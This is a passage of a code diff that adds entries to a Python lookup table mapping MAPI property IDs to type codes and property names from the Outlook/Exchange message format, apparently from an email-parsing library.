+        0x8214: (0x0003, None, None, 4, "PidLidAppointmentColor", "dispidApptColor", None),
+        0x8257: (0x000b, None, None, 4, "PidLidAppointmentCounterProposal", "dispidApptCounterProposal", None),
+        0x8213: (0x0003, None, None, 4, "PidLidAppointmentDuration", "dispidApptDuration", None),
+        0x8211: (0x0040, None, None, 4, "PidLidAppointmentEndDate", "dispidApptEndDate", None),
+        0x8210: (0x0040, None, None, 4, "PidLidAppointmentEndTime", "dispidApptEndTime", None),
+        0x820e: (0x0040, None, None, 4, "PidLidAppointmentEndWhole", "dispidApptEndWhole", None),
+        0x8203: (0x0003, None, None, 4, "PidLidAppointmentLastSequence", "dispidApptLastSequence", None),
+        0x0024: (0x001f, None, None, 4, "PidLidAppointmentMessageClass", "dispidApptMessageClass", "OriginatorReturnAddress"),
+        0x825a: (0x000b, None, None, 4, "PidLidAppointmentNotAllowPropose", "dispidApptNotAllowPropose", None),
+        0x8259: (0x0003, None, None, 4, "PidLidAppointmentProposalNumber", "dispidApptProposalNum", None),
+        0x8256: (0x0003, None, None, 4, "PidLidAppointmentProposedDuration", "dispidApptProposedDuration", None),
+        0x8251: (0x0040, None, None, 4, "PidLidAppointmentProposedEndWhole", "dispidApptProposedEndWhole", None),
+        0x8250: (0x0040, None, None, 4, "PidLidAppointmentProposedStartWhole", "dispidApptProposedStartWhole", None),
+        0x8216: (0x0102, None, None, 4, "PidLidAppointmentRecur", "dispidApptRecur", None),
+        0x8230: (0x001f, None, None, 4, "PidLidAppointmentReplyName", "dispidApptReplyName", None),
+        0x8220: (0x0040, None, None, 4, "PidLidAppointmentReplyTime", "dispidApptReplyTime", None),
+        0x8201: (0x0003, None, None, 4, "PidLidAppointmentSequence", "dispidApptSequence", None),
+        0x8212: (0x0040, None, None, 4, "PidLidAppointmentStartDate", "dispidApptStartDate", None),
+        0x820f: (0x0040, None, None, 4, "PidLidAppointmentStartTime", "dispidApptStartTime", None),
+        0x820d: (0x0040, None, None, 4, "PidLidAppointmentStartWhole", "dispidApptStartWhole", None),
+        0x8217: (0x0003, None, None, 4, "PidLidAppointmentStateFlags", "dispidApptStateFlags", None),
+        0x8215: (0x000b, None, None, 4, "PidLidAppointmentSubType", "dispidApptSubType", None),
+        0x825f: (0x0102, None, None, 4, "PidLidAppointmentTimeZoneDefinitionEndDisplay", "dispidApptTZDefEndDisplay", None),
+        0x8260: (0x0102, None, None, 4, "PidLidAppointmentTimeZoneDefinitionRecur", "dispidApptTZDefRecur", None),
+        0x825e: (0x0102, None, None, 4, "PidLidAppointmentTimeZoneDefinitionStartDisplay", "dispidApptTZDefStartDisplay", None),
+        0x825d: (0x0102, None, None, 4, "PidLidAppointmentUnsendableRecipients", "dispidApptUnsendableRecips", None),
+        0x8226: (0x0040, None, None, 4, "PidLidAppointmentUpdateTime", "dispidApptUpdateTime", None),
+        0x0001: (0x0102, None, None, 4, "PidTagTemplateData", "PR_EMS_TEMPLATE_BLOB", "AcknowledgementMode"),
+        0x823a: (0x000b, None, None, 4, "PidLidAutoFillLocation", "dispidAutoFillLocation", None),
+        0x851a: (0x0003, None, None, 4, "PidLidAutoProcessState", "dispidSniffState", None),
+        0x8244: (0x000b, None, None, 4, "PidLidAutoStartCheck", "dispidAutoStartCheck", None),
+        0x8535: (0x001f, None, None, 4, "PidLidBilling", "dispidBilling", None),
+        0x804d: (0x0102, None, None, 4, "PidLidBirthdayEventEntryId", "dispidBirthdayEventEID", None),
+        0x8205: (0x0003, None, None, 4, "PidLidBusyStatus", "dispidBusyStatus", None),
+        0x001c: (0x0003, None, None, 4, "PidLidCalendarType", "LID_CALENDAR_TYPE", None),
+        0x9000: (0x101f, None, None, 4, "PidLidCategories", "dispidCategories", None),
+        0x823c: (0x001f, None, None, 4, "PidLidCcAttendeesString", "dispidCCAttendeesString", None),
+        0x8204: (0x0003, None, None, 4, "PidLidChangeHighlight", "dispidChangeHighlight", None),
+        0x85b6: (0x001f, None, None, 4, "PidLidClassification", "dispidClassification", None),
+        0x85b7: (0x001f, None, None, 4, "PidLidClassificationDescription", "dispidClassDesc", None),
+        0x85b8: (0x001f, None, None, 4, "PidLidClassificationGuid", "dispidClassGuid", None),
+        0x85ba: (0x000b, None, None, 4, "PidLidClassificationKeep", "dispidClassKeep", None),
+        0x85b5: (0x000b, None, None, 4, "PidLidClassified", "dispidClassified", None),
+        0x0023: (0x000b, None, None, 4, "PidTagOriginatorDeliveryReportRequested", "PR_ORIGINATOR_DELIVERY_REPORT_REQUESTED", "OriginatorDeliveryReportRequested"),
+        0x0015: (0x0040, None, None, 4, "PidTagExpiryTime", "PR_EXPIRY_TIME", "ExpiryTime"),
+        0x8236: (0x0040, None, None, 4, "PidLidClipEnd", "dispidClipEnd", None),
+        0x8235: (0x0040, None, None, 4, "PidLidClipStart", "dispidClipStart", None),
+        0x8247: (0x001f, None, None, 4, "PidLidCollaborateDoc", "dispidCollaborateDoc", None),
+        0x8517: (0x0040, None, None, 4, "PidLidCommonEnd", "dispidCommonEnd", None),
+        0x8516: (0x0040, None, None, 4, "PidLidCommonStart", "dispidCommonStart", None),
+        0x8539: (0x101f, None, None, 4, "PidLidCompanies", "dispidCompanies", None),
+        0x8240: (0x000b, None, None, 4, "PidLidConferencingCheck", "dispidConfCheck", None),
+        0x8241: (0x0003, None, None, 4, "PidLidConferencingType", "dispidConfType", None),
+        0x8585: (0x0102, None, None, 4, "PidLidContactLinkEntry", "dispidContactLinkEntry", None),
+        0x8586: (0x001f, None, None, 4, "PidLidContactLinkName", "dispidContactLinkName", None),
+        0x8584: (0x0102, None, None, 4, "PidLidContactLinkSearchKey", "dispidContactLinkSearchKey", None),
+        0x853a: (0x101f, None, None, 4, "PidLidContacts", "dispidContacts", None),
+        0x8050: (0x001f, None, None, 4, "PidLidContactUserField2", "dispidContactUserField2", None),
+        0x85ca: (0x0040, None, None, 4, "PidLidConversationActionLastAppliedTime", "dispidConvActionLastAppliedTime", None),
+        0x85c8: (0x0040, None, None, 4, "PidLidConversationActionMaxDeliveryTime", "dispidConvActionMaxDeliveryTime", None),
+        0x85c6: (0x0102, None, None, 4, "PidLidConversationActionMoveFolderEid", "dispidConvActionMoveFolderEid", None),
+        0x85c7: (0x0102, None, None, 4, "PidLidConversationActionMoveStoreEid", "dispidConvActionMoveStoreEid", None),
+        0x85cb: (0x0003, None, None, 4, "PidLidConversationActionVersion", "dispidConvActionVersion", None),
+        0x85c9: (0x0003, None, None, 4, "PidLidConversationProcessed", "dispidConvExLegacyProcessedRand", None),
+        0x8552: (0x0003, None, None, 4, "PidLidCurrentVersion", "dispidCurrentVersion", None),
+        0x8554: (0x001f, None, None, 4, "PidLidCurrentVersionName", "dispidCurrentVersionName", None),
+        0x0011: (0x0002, None, None, 4, "PidLidDayInterval", "LID_DAY_INTERVAL", "DiscardReason"),
+        0x1000: (0x001f, None, None, 4, "PidTagBody", "PR_BODY", "Body"),
+        0x0009: (0x000b, None, None, 4, "PidLidDelegateMail", "LID_DELEGATE_MAIL", "ContentLength"),
+        0x8242: (0x001f, None, None, 4, "PidLidDirectory", "dispidDirectory", None),
+        0x000f: (0x0040, None, None, 4, "PidTagDeferredDeliveryTime", "PR_DEFERRED_DELIVERY_TIME", "DeferredDeliveryTime"),
+        0x0010: (0x0040, None, None, 4, "PidTagDeliverTime", "PR_DELIVER_TIME", "DeliverTime"),
+        0x8228: (0x0040, None, None, 4, "PidLidExceptionReplaceTime", "dispidExceptionReplaceTime", None),
+        0x822b: (0x000b, None, None, 4, "PidLidFExceptionalAttendees", "dispidFExceptionalAttendees", None),
+        0x8206: (0x000b, None, None, 4, "PidLidFExceptionalBody", "dispidFExceptionalBody", None),
+        0x8229: (0x000b, None, None, 4, "PidLidFInvited", "dispidFInvited", None),
+        0x8530: (0x001f, None, None, 4, "PidLidFlagRequest", "dispidRequest", None),
+        0x85c0: (0x0003, None, None, 4, "PidLidFlagString", "dispidFlagStringEnum", None),
+        0x820a: (0x000b, None, None, 4, "PidLidForwardInstance", "dispidFwrdInstance", None),
+        0x8261: (0x0102, None, None, 4, "PidLidForwardNotificationRecipients", "dispidForwardNotificationRecipients", None),
+        0x822f: (0x000b, None, None, 4, "PidLidFOthersAppointment", "dispidFOthersAppt", None),
+        0x0003: (0x0102, None, None, 4, "PidLidGlobalObjectId", "LID_GLOBAL_OBJID", "AuthorizingUsers"),
+        0x801a: (0x001f, None, None, 4, "PidLidHomeAddress", "dispidHomeAddress", None),
+        0x802b: (0x001f, None, None, 4, "PidLidHtml", "dispidHTML", None),
+        0x1001: (0x001f, None, None, 4, "PidTagReportText", "PR_REPORT_TEXT", "ReportText"),
+        0x827a: (0x0102, None, None, 4, "PidLidInboundICalStream", "InboundICalStream", None),
+        0x85b1: (0x001f, None, None, 4, "PidLidInfoPathFormName", None, None),
+        0x8224: (0x0003, None, None, 4, "PidLidIntendedBusyStatus", "dispidIntendedBusyStatus", None),
+        0x8580: (0x001f, None, None, 4, "PidLidInternetAccountName", "dispidInetAcctName", None),
+        0x8581: (0x001f, None, None, 4, "PidLidInternetAccountStamp", "dispidInetAcctStamp", None),
+        0x000a: (0x000b, None, None, 4, "PidLidIsException", "LID_IS_EXCEPTION", "ContentReturnRequested"),
+        0x0005: (0x000b, None, None, 4, "PidTagAutoForwarded", "PR_AUTO_FORWARDED", "AutoForwarded"),
+        0x0004: (0x0102, None, None, 4, "PidTagScriptData", "PR_EMS_SCRIPT_BLOB", "AutoForwardComment"),
+        0x820c: (0x1102, None, None, 4, "PidLidLinkedTaskItems", "dispidLinkedTaskItems", None),
+        0x8208: (0x001f, None, None, 4, "PidLidLocation", "dispidLocation", None),
+        0x8711: (0x000b, None, None, 4, "PidLidLogDocumentPosted", "dispidLogDocPosted", None),
+        0x870e: (0x000b, None, None, 4, "PidLidLogDocumentPrinted", "dispidLogDocPrinted", None),
+        0x8710: (0x000b, None, None, 4, "PidLidLogDocumentRouted", "dispidLogDocRouted", None),
+        0x870f: (0x000b, None, None, 4, "PidLidLogDocumentSaved", "dispidLogDocSaved", None),
+        0x8707: (0x0003, None, None, 4, "PidLidLogDuration", "dispidLogDuration", None),
+        0x8708: (0x0040, None, None, 4, "PidLidLogEnd", "dispidLogEnd", None),
+        0x870c: (0x0003, None, None, 4, "PidLidLogFlags", "dispidLogFlags", None),
+        0x8706: (0x0040, None, None, 4, "PidLidLogStart", "dispidLogStart", None),
+        0x8700: (0x001f, None, None, 4, "PidLidLogType", "dispidLogType", None),
+        0x8712: (0x001f, None, None, 4, "PidLidLogTypeDesc", "dispidLogTypeDesc", None),
+        0x0026: (0x0003, None, None, 4, "PidTagPriority", "PR_PRIORITY", "Priority"),
+        0x8209: (0x001f, None, None, 4, "PidLidMeetingWorkspaceUrl", "dispidMWSURL", None),
+        0x0013: (0x0002, None, None, 4, "PidLidMonthInterval", "LID_MONTH_INTERVAL", "DlExpansionHistory"),
+        0x1006: (0x0003, None, None, 4, "PidLidMonthOfYear", None, "RtfSyncBodyCrc"),
+        0x0017: (0x0003, None, None, 4, "PidTagImportance", "PR_IMPORTANCE", "Importance"),
+        0x8248: (0x001f, None, None, 4, "PidLidNetShowUrl", "dispidNetShowURL", None),
+        0x100b: (0x000b, None, None, 4, "PidLidNoEndDateFlag", "http://schemas.microsoft.com/mapi/fnoenddate", "IsIntegJobProgress"),
+        0x8538: (0x001f, None, None, 4, "PidLidNonSendableBcc", "dispidNonSendableBCC", None),
+        0x8537: (0x001f, None, None, 4, "PidLidNonSendableCc", "dispidNonSendableCC", None),
+        0x8536: (0x001f, None, None, 4, "PidLidNonSendableTo", "dispidNonSendableTo", None),
+        0x8545: (0x1003, None, None, 4, "PidLidNonSendBccTrackStatus", "dispidNonSendBccTrackStatus", None),
+        0x8544: (0x1003, None, None, 4, "PidLidNonSendCcTrackStatus", "dispidNonSendCcTrackStatus", None),
+        0x8543: (0x1003, None, None, 4, "PidLidNonSendToTrackStatus", "dispidNonSendToTrackStatus", None),
+        0x8b00: (0x0003, None, None, 4, "PidLidNoteColor", "dispidNoteColor", None),
+        0x8b03: (0x0003, None, None, 4, "PidLidNoteHeight", "dispidNoteHeight", None),
+        0x8b02: (0x0003, None, None, 4, "PidLidNoteWidth", "dispidNoteWidth", None),
+        0x8b04: (0x0003, None, None, 4, "PidLidNoteX", "dispidNoteX", None),
+        0x8b05: (0x0003, None, None, 4, "PidLidNoteY", "dispidNoteY", None),
+        0x1005: (0x0003, None, None, 4, "PidLidOccurrences", None, "IsIntegJobCreationTime"),
+        0x0028: (0x001f, None, None, 4, "PidLidOldLocation", "dispidOldLocation", "ProofOfSubmissionRequested"),
+        0x0018: (0x0002, None, None, 4, "PidLidOldRecurrenceType", "LID_RECUR_TYPE", "IpmId"),
+        0x002a: (0x0040, None, None, 4, "PidTagReceiptTime", "PR_RECEIPT_TIME", "ReceiptTime"),
+        0x0029: (0x000b, None, None, 4, "PidTagReadReceiptRequested", "PR_READ_RECEIPT_REQUESTED", "ReadReceiptRequested"),
+        0x8249: (0x001f, None, None, 4, "PidLidOnlinePassword", "dispidOnlinePassword", None),
+        0x0007: (0x001f, None, None, 4, "PidLidOptionalAttendees", "LID_OPTIONAL_ATTENDEES", "ContentCorrelator"),
+        0x8243: (0x001f, None, None, 4, "PidLidOrganizerAlias", "dispidOrgAlias", None),
+        0x8237: (0x0102, None, None, 4, "PidLidOriginalStoreEntryId", "dispidOrigStoreEid", None),
+        0x801c: (0x001f, None, None, 4, "PidLidOtherAddress", "dispidOtherAddress", None),
+        0x001a: (0x001f, None, None, 4, "PidTagMessageClass", "PR_MESSAGE_CLASS", "MessageClass"),
+        0x822e: (0x001f, None, None, 4, "PidLidOwnerName", "dispidOwnerName", None),
+        0x85e0: (0x0003, None, None, 4, "PidLidPendingStateForSiteMailboxDocument", "dispidPendingStateforTMDocument", None),
+        0x8022: (0x0003, None, None, 4, "PidLidPostalAddressId", "dispidPostalAddressId", None),
+        0x8904: (0x001f, None, None, 4, "PidLidPostRssChannel", "dispidPostRssChannel", None),
+        0x8900: (0x001f, None, None, 4, "PidLidPostRssChannelLink", "dispidPostRssChannelLink", None),
+        0x8903: (0x001f, None, None, 4, "PidLidPostRssItemGuid", "dispidPostRssItemGuid", None),
+        0x8902: (0x0003, None, None, 4, "PidLidPostRssItemHash", "dispidPostRssItemHash", None),
+        0x8901: (0x001f, None, None, 4, "PidLidPostRssItemLink", "dispidPostRssItemLink", None),
+        0x8905: (0x001f, None, None, 4, "PidLidPostRssItemXml", "dispidPostRssItemXml", None),
+        0x8906: (0x001f, None, None, 4, "PidLidPostRssSubscription", "dispidPostRssSubscription", None),
+        0x8506: (0x000b, None, None, 4, "PidLidPrivate", "dispidPrivate", None),
+        0x100d: (0x0003, None, None, 4, "PidLidRecurrenceDuration", None, "IsIntegJobSource"),
+        0x8232: (0x001f, None, None, 4, "PidLidRecurrencePattern", "dispidRecurPattern", None),
+        0x8231: (0x0003, None, None, 4, "PidLidRecurrenceType", "dispidRecurType", None),
+        0x8223: (0x000b, None, None, 4, "PidLidRecurring", "dispidRecurring", None),
+        0x85bd: (0x0102, None, None, 4, "PidLidReferenceEntryId", "dispidReferenceEID", None),
+        0x8501: (0x0003, None, None, 4, "PidLidReminderDelta", "dispidReminderDelta", None),
+        0x851f: (0x001f, None, None, 4, "PidLidReminderFileParameter", "dispidReminderFileParam", None),
+        0x851c: (0x000b, None, None, 4, "PidLidReminderOverride", "dispidReminderOverride", None),
+        0x851e: (0x000b, None, None, 4, "PidLidReminderPlaySound", "dispidReminderPlaySound", None),
+        0x8503: (0x000b, None, None, 4, "PidLidReminderSet", "dispidReminderSet", None),
+        0x8560: (0x0040, None, None, 4, "PidLidReminderSignalTime", "dispidReminderNextTime", None),
+        0x8502: (0x0040, None, None, 4, "PidLidReminderTime", "dispidReminderTime", None),
+        0x8505: (0x0040, None, None, 4, "PidLidReminderTimeDate", "dispidReminderTimeDate", None),
+        0x8504: (0x0040, None, None, 4, "PidLidReminderTimeTime", "dispidReminderTimeTime", None),
+        0x851d: (0x0003, None, None, 4, "PidLidReminderType", "dispidReminderType", None),
+        0x8511: (0x0003, None, None, 4, "PidLidRemoteStatus", "dispidRemoteStatus", None),
+        0x0006: (0x001f, None, None, 4, "PidLidRequiredAttendees", "LID_REQUIRED_ATTENDEES", "ContentConfidentialityAlgorithmId"),
+        0x0008: (0x001f, None, None, 4, "PidLidResourceAttendees", "LID_RESOURCE_ATTENDEES", "ContentIdentifier"),
+        0x8218: (0x0003, None, None, 4, "PidLidResponseStatus", "dispidResponseStatus", None),
+        0x85cc: (0x000b, None, None, 4, "PidLidServerProcessed", "dispidExchangeProcessed", None),
+        0x85cd: (0x0003, None, None, 4, "PidLidServerProcessingActions", "dispidExchangeProcessingAction", None),
+        0x8a19: (0x0003, None, None, 4, "PidLidSharingAnonymity", "dispidSharingAnonymity", None),
+        0x8a2d: (0x0102, None, None, 4, "PidLidSharingBindingEntryId", "dispidSharingBindingEid", None),
+        0x8a51: (0x001f, None, None, 4, "PidLidSharingBrowseUrl", "dispidSharingBrowseUrl", None),
+        0x8a17: (0x0003, None, None, 4, "PidLidSharingCapabilities", "dispidSharingCaps", None),
+        0x8a24: (0x001f, None, None, 4, "PidLidSharingConfigurationUrl", "dispidSharingConfigUrl", None),
+        0x8a45: (0x0040, None, None, 4, "PidLidSharingDataRangeEnd", "dispidSharingDataRangeEnd", None),
+        0x8a44: (0x0040, None, None, 4, "PidLidSharingDataRangeStart", "dispidSharingDataRangeStart", None),
+        0x8a2b: (0x0003, None, None, 4, "PidLidSharingDetail", "dispidSharingDetail", None),
+        0x8a21: (0x001f, None, None, 4, "PidLidSharingExtensionXml", "dispidSharingExtXml", None),
+        0x8a13: (0x0102, None, None, 4, "PidLidSharingFilter", "dispidSharingFilter", None),
+        0x8a0a: (0x0003, None, None, 4, "PidLidSharingFlags", "dispidSharingFlags", None),
+        0x8a18: (0x0003, None, None, 4, "PidLidSharingFlavor", "dispidSharingFlavor", None),
+        0x8a15: (0x0102, None, None, 4, "PidLidSharingFolderEntryId", "dispidSharingFolderEid", None),
+        0x8a2e: (0x0102, None, None, 4, "PidLidSharingIndexEntryId", "dispidSharingIndexEid", None),
+        0x8a09: (0x0102, None, None, 4, "PidLidSharingInitiatorEntryId", "dispidSharingInitiatorEid", None),
+        0x8a07: (0x001f, None, None, 4, "PidLidSharingInitiatorName", "dispidSharingInitiatorName", None),
+        0x8a08: (0x001f, None, None, 4, "PidLidSharingInitiatorSmtp", "dispidSharingInitiatorSmtp", None),
+        0x8a1c: (0x0102, None, None, 4, "PidLidSharingInstanceGuid", "dispidSharingInstanceGuid", None),
+        0x8a55: (0x0040, None, None, 4, "PidLidSharingLastAutoSyncTime", "dispidSharingLastAutoSync", None),
+        0x8a1f: (0x0040, None, None, 4, "PidLidSharingLastSyncTime", "dispidSharingLastSync", None),
+        0x8a4d: (0x001f, None, None, 4, "PidLidSharingLocalComment", "dispidSharingLocalComment", None),
+        0x8a23: (0x0040, None, None, 4, "PidLidSharingLocalLastModificationTime", "dispidSharingLocalLastMod", None),
+        0x8a0f: (0x001f, None, None, 4, "PidLidSharingLocalName", "dispidSharingLocalName", None),
+        0x8a0e: (0x001f, None, None, 4, "PidLidSharingLocalPath", "dispidSharingLocalPath", None),
+        0x8a49: (0x001f, None, None, 4, "PidLidSharingLocalStoreUid", "dispidSharingLocalStoreUid", None),
+        0x8a14: (0x001f, None, None, 4, "PidLidSharingLocalType", "dispidSharingLocalType", None),
+        0x8a10: (0x001f, None, None, 4, "PidLidSharingLocalUid", "dispidSharingLocalUid", None),
+        0x8a29: (0x0102, None, None, 4, "PidLidSharingOriginalMessageEntryId", "dispidSharingOriginalMessageEid", None),
+        0x8a5c: (0x0102, None, None, 4, "PidLidSharingParentBindingEntryId", "dispidSharingParentBindingEid", None),
+        0x8a1e: (0x001f, None, None, 4, "PidLidSharingParticipants", "dispidSharingParticipants", None),
+        0x8a1b: (0x0003, None, None, 4, "PidLidSharingPermissions", "dispidSharingPermissions", None),
+        0x8a0b: (0x001f, None, None, 4, "PidLidSharingProviderExtension", "dispidSharingProviderExtension", None),
+        0x8a01: (0x0102, None, None, 4, "PidLidSharingProviderGuid", "dispidSharingProviderGuid", None),
+        0x8a02: (0x001f, None, None, 4, "PidLidSharingProviderName", "dispidSharingProviderName", None),
+        0x8a03: (0x001f, None, None, 4, "PidLidSharingProviderUrl", "dispidSharingProviderUrl", None),
+        0x8a47: (0x0003, None, None, 4, "PidLidSharingRangeEnd", "dispidSharingRangeEnd", None),
+        0x8a46: (0x0003, None, None, 4, "PidLidSharingRangeStart", "dispidSharingRangeStart", None),
+        0x8a1a: (0x0003, None, None, 4, "PidLidSharingReciprocation", "dispidSharingReciprocation", None),
+        0x8a4b: (0x0003, None, None, 4, "PidLidSharingRemoteByteSize", "dispidSharingRemoteByteSize", None),
+        0x8a2f: (0x001f, None, None, 4, "PidLidSharingRemoteComment", "dispidSharingRemoteComment", None),
+        0x8a4c: (0x0003, None, None, 4, "PidLidSharingRemoteCrc", "dispidSharingRemoteCrc", None),
+        0x8a22: (0x0040, None, None, 4, "PidLidSharingRemoteLastModificationTime", "dispidSharingRemoteLastMod", None),
+        0x8a4f: (0x0003, None, None, 4, "PidLidSharingRemoteMessageCount", "dispidSharingRemoteMsgCount", None),
+        0x8a05: (0x001f, None, None, 4, "PidLidSharingRemoteName", "dispidSharingRemoteName", None),
+        0x8a0d: (0x001f, None, None, 4, "PidLidSharingRemotePass", "dispidSharingRemotePass", None),
+        0x8a04: (0x001f, None, None, 4, "PidLidSharingRemotePath", "dispidSharingRemotePath", None),
+        0x8a48: (0x001f, None, None, 4, "PidLidSharingRemoteStoreUid", "dispidSharingRemoteStoreUid", None),
+        0x8a1d: (0x001f, None, None, 4, "PidLidSharingRemoteType", "dispidSharingRemoteType", None),
+        0x8a06: (0x001f, None, None, 4, "PidLidSharingRemoteUid", "dispidSharingRemoteUid", None),
+        0x8a0c: (0x001f, None, None, 4, "PidLidSharingRemoteUser", "dispidSharingRemoteUser", None),
+        0x8a5b: (0x001f, None, None, 4, "PidLidSharingRemoteVersion", "dispidSharingRemoteVersion", None),
+        0x8a28: (0x0040, None, None, 4, "PidLidSharingResponseTime", "dispidSharingResponseTime", None),
+        0x8a27: (0x0003, None, None, 4, "PidLidSharingResponseType", "dispidSharingResponseType", None),
+        0x8a4e: (0x0003, None, None, 4, "PidLidSharingRoamLog", "dispidSharingRoamLog", None),
+        0x8a25: (0x0040, None, None, 4, "PidLidSharingStart", "dispidSharingStart", None),
+        0x8a00: (0x0003, None, None, 4, "PidLidSharingStatus", "dispidSharingStatus", None),
+        0x8a26: (0x0040, None, None, 4, "PidLidSharingStop", "dispidSharingStop", None),
+        0x8a60: (0x0003, None, None, 4, "PidLidSharingSyncFlags", "dispidSharingSyncFlags", None),
+        0x8a2a: (0x0003, None, None, 4, "PidLidSharingSyncInterval", "dispidSharingSyncInterval", None),
+        0x8a2c: (0x0003, None, None, 4, "PidLidSharingTimeToLive", "dispidSharingTimeToLive", None),
+        0x8a56: (0x0003, None, None, 4, "PidLidSharingTimeToLiveAuto", "dispidSharingTimeToLiveAuto", None),
+        0x8a42: (0x0003, None, None, 4, "PidLidSharingWorkingHoursDays", "dispidSharingWorkingHoursDays", None),
+        0x8a41: (0x0040, None, None, 4, "PidLidSharingWorkingHoursEnd", "dispidSharingWorkingHoursEnd", None),
+        0x8a40: (0x0040, None, None, 4, "PidLidSharingWorkingHoursStart", "dispidSharingWorkingHoursStart", None),
+        0x8a43: (0x0102, None, None, 4, "PidLidSharingWorkingHoursTimeZone", "dispidSharingWorkingHoursTZ", None),
+        0x8510: (0x0003, None, None, 4, "PidLidSideEffects", "dispidSideEffects", None),
+        0x827b: (0x000b, None, None, 4, "PidLidSingleBodyICal", "IsSingleBodyICal", None),
+        0x8514: (0x000b, None, None, 4, "PidLidSmartNoAttach", "dispidSmartNoAttach", None),
+        0x859c: (0x0102, None, None, 4, "PidLidSpamOriginalFolder", "dispidSpamOriginalFolder", None),
+        0x000d: (0x0003, None, None, 4, "PidLidStartRecurrenceDate", "LID_START_RECUR_DATE", "ConversionWithLossProhibited"),
+        0x000e: (0x0003, None, None, 4, "PidLidStartRecurrenceTime", "LID_START_RECUR_TIME", "ConvertedEits"),
+        0x811c: (0x000b, None, None, 4, "PidLidTaskComplete", "dispidTaskComplete", None),
+        0x8519: (0x0102, None, None, 4, "PidLidTaskGlobalId", "dispidTaskGlobalObjId", None),
+        0x8518: (0x0003, None, None, 4, "PidLidTaskMode", "dispidTaskMode", None),
+        0x000c: (0x0003, None, None, 4, "PidLidTimeZone", "LID_TIME_ZONE", "ConversionEits"),
+        0x8234: (0x001f, None, None, 4, "PidLidTimeZoneDescription", "dispidTimeZoneDesc", None),
+        0x8233: (0x0102, None, None, 4, "PidLidTimeZoneStruct", "dispidTimeZoneStruct", None),
+        0x823b: (0x001f, None, None, 4, "PidLidToAttendeesString", "dispidToAttendeesString", None),
+        0x85a0: (0x0040, None, None, 4, "PidLidToDoOrdinalDate", "dispidToDoOrdinalDate", None),
+        0x85a1: (0x001f, None, None, 4, "PidLidToDoSubOrdinal", "dispidToDoSubOrdinal", None),
+        0x85a4: (0x001f, None, None, 4, "PidLidToDoTitle", "dispidToDoTitle", None),
+        0x8582: (0x000b, None, None, 4, "PidLidUseTnef", "dispidUseTNEF", None),
+        0x85bf: (0x0040, None, None, 4, "PidLidValidFlagStringProof", "dispidValidFlagStringProof", None),
+        0x8524: (0x001f, None, None, 4, "PidLidVerbResponse", "dispidVerbResponse", None),
+        0x8520: (0x0102, None, None, 4, "PidLidVerbStream", "dispidVerbStream", None),
+        0x0012: (0x0002, None, None, 4, "PidLidWeekInterval", "LID_WEEK_INTERVAL", "DisclosureOfRecipients"),
+        0x0002: (0x000b, None, None, 4, "PidTagAlternateRecipientAllowed", "PR_ALTERNATE_RECIPIENT_ALLOWED", "AlternateRecipientAllowed"),
+        0x801b: (0x001f, None, None, 4, "PidLidWorkAddress", "dispidWorkAddress", None),
+        0x0014: (0x0002, None, None, 4, "PidLidYearInterval", "LID_YEAR_INTERVAL", "DlExpansionProhibited"),
+        0x802c: (0x001f, None, None, 4, "PidLidYomiFirstName", "dispidYomiFirstName", None),
+        0x0ff4: (0x0003, None, None, 4, "PidTagAccess", "PR_ACCESS", "Access"),
+        0x3fe0: (0x0102, None, None, 4, "PidTagAccessControlListData", "PR_ACL_DATA", "AclTable"),
+        0x0ff7: (0x0003, None, None, 4, "PidTagAccessLevel", "PR_ACCESS_LEVEL", "AccessLevel"),
+        0x36d8: (0x1102, None, None, 4, "PidTagAdditionalRenEntryIds", "PR_ADDITIONAL_REN_ENTRYIDS", "AdditionalRenEntryIds"),
+        0x36d9: (0x0102, None, None, 4, "PidTagAdditionalRenEntryIdsEx", "PR_ADDITIONAL_REN_ENTRYIDS_EX", "AdditionalRenEntryIdsEx"),
+        0xfffd: (0x0003, None, None, 4, "PidTagAddressBookContainerId", "PR_EMS_AB_CONTAINERID", "AbContainerId"),
+        0x8c93: (0x0003, None, None, 4, "PidTagAddressBookDisplayTypeExtended", "PR_EMS_AB_DISPLAY_TYPE_EX", None),
+        0x663b: (0x0102, None, None, 4, "PidTagAddressBookEntryId", "PR_ADDRESS_BOOK_ENTRYID", "AddressBookEntryId"),
+        0xfffb: (0x000b, None, None, 4, "PidTagAddressBookIsMaster", "PR_EMS_AB_IS_MASTER", "AbIsMaster"),
+        0x6704: (0x000d, None, None, 4, "PidTagAddressBookManageDistributionList", "PR_EMS_AB_MANAGE_DL", "ClientVersion"),
+        0x674f: (0x0014, None, None, 4, "PidTagAddressBookMessageId", "ptagAddrbookMID", None),
+        0xfffc: (0x0102, None, None, 4, "PidTagAddressBookParentEntryId", "PR_EMS_AB_PARENT_ENTRYID", "AbParentEntryId"),
+        0x3002: (0x001f, None, None, 4, "PidTagAddressType", "PR_ADDRTYPE", "AddrType"),
+        0x360c: (0x001f, None, None, 4, "PidTagAnr", "PR_ANR", "Anr"),
+        0x301f: (0x0040, None, None, 4, "PidTagArchiveDate", "PR_ARCHIVE_DATE", "ArchiveDate"),
+        0x301e: (0x0003, None, None, 4, "PidTagArchivePeriod", "PR_ARCHIVE_PERIOD", "ArchivePeriod"),
+        0x3018: (0x0102, None, None, 4, "PidTagArchiveTag", "PR_ARCHIVE_TAG", "ArchiveTag"),
+        0x67aa: (0x000b, None, None, 4, "PidTagAssociated", "ptagAssociated", "Associated"),
+        0x370f: (0x0102, None, None, 4, "PidTagAttachAdditionalInformation", "PR_ATTACH_ADDITIONAL_INFO", "AttachAdditionalInfo"),
+        0x3711: (0x001f, None, None, 4, "PidTagAttachContentBase", None, "AttachmentContentBase"),
+        0x3712: (0x001f, None, None, 4, "PidTagAttachContentId", "PR_ATTACH_CONTENT_ID", "AttachmentContentId"),
+        0x3713: (0x001f, None, None, 4, "PidTagAttachContentLocation", "PR_ATTACH_CONTENT_LOCATION", "AttachContentLocation"),
+        0x3701: (0x000d, None, None, 4, "PidTagAttachDataObject", "PR_ATTACH_DATA_OBJ", "AttachDataObj"),
+        0x3702: (0x0102, None, None, 4, "PidTagAttachEncoding", "PR_ATTACH_ENCODING", "AttachEncoding"),
+        0x3703: (0x001f, None, None, 4, "PidTagAttachExtension", "PR_ATTACH_EXTENSION", "AttachExtension"),
+        0x3704: (0x001f, None, None, 4, "PidTagAttachFilename", "PR_ATTACH_FILENAME", "AttachFileName"),
+        0x3714: (0x0003, None, None, 4, "PidTagAttachFlags", "PR_ATTACH_FLAGS", "AttachFlags"),
+        0x3707: (0x001f, None, None, 4, "PidTagAttachLongFilename", "PR_ATTACH_LONG_FILENAME", "AttachLongFileName"),
